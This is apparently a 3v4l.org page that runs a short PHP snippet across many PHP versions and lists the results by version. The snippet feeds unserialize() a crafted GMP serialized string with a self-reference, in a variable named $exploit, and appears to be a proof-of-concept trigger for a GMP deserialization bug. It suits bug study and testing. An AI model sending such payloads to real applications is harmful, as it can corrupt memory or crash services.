3v4l.org

run code in 300+ PHP versions simultaneously
<?php $inner = 's:1:"0";a:1:{i:0;r:1;}'; $exploit = unserialize('C:3:"GMP":'.strlen($inner).':{'.$inner.'}');
Output for 5.6.0 - 5.6.40, 7.0.0 - 7.0.33, 7.1.0 - 7.1.33, 7.2.0 - 7.2.33, 7.3.0 - 7.3.31, 7.4.0 - 7.4.32, 8.0.0 - 8.0.12, 8.0.14 - 8.0.30, 8.1.0 - 8.1.28, 8.2.0 - 8.2.18, 8.3.0 - 8.3.6
Output for 5.3.0 - 5.3.29, 5.4.0 - 5.4.45, 5.5.0 - 5.5.38, 7.3.32 - 7.3.33, 7.4.33, 8.0.13
Warning: Class __PHP_Incomplete_Class has no unserializer in /in/sBYp2 on line 4
Output for 5.1.0 - 5.1.6, 5.2.0 - 5.2.17
Warning: Class __PHP_Incomplete_Class has no unserializer in /in/sBYp2 on line 4 Notice: unserialize(): Error at offset 8 of 37 bytes in /in/sBYp2 on line 4
Output for 4.3.2 - 4.3.11, 4.4.0 - 4.4.9, 5.0.0 - 5.0.5
Notice: unserialize(): Error at offset 0 of 37 bytes in /in/sBYp2 on line 4
Output for 4.3.0 - 4.3.1
Notice: unserialize() [http://www.php.net/function.unserialize]: Error at offset 0 of 37 bytes in /in/sBYp2 on line 4

preferences:
315.8 ms | 401 KiB | 459 Q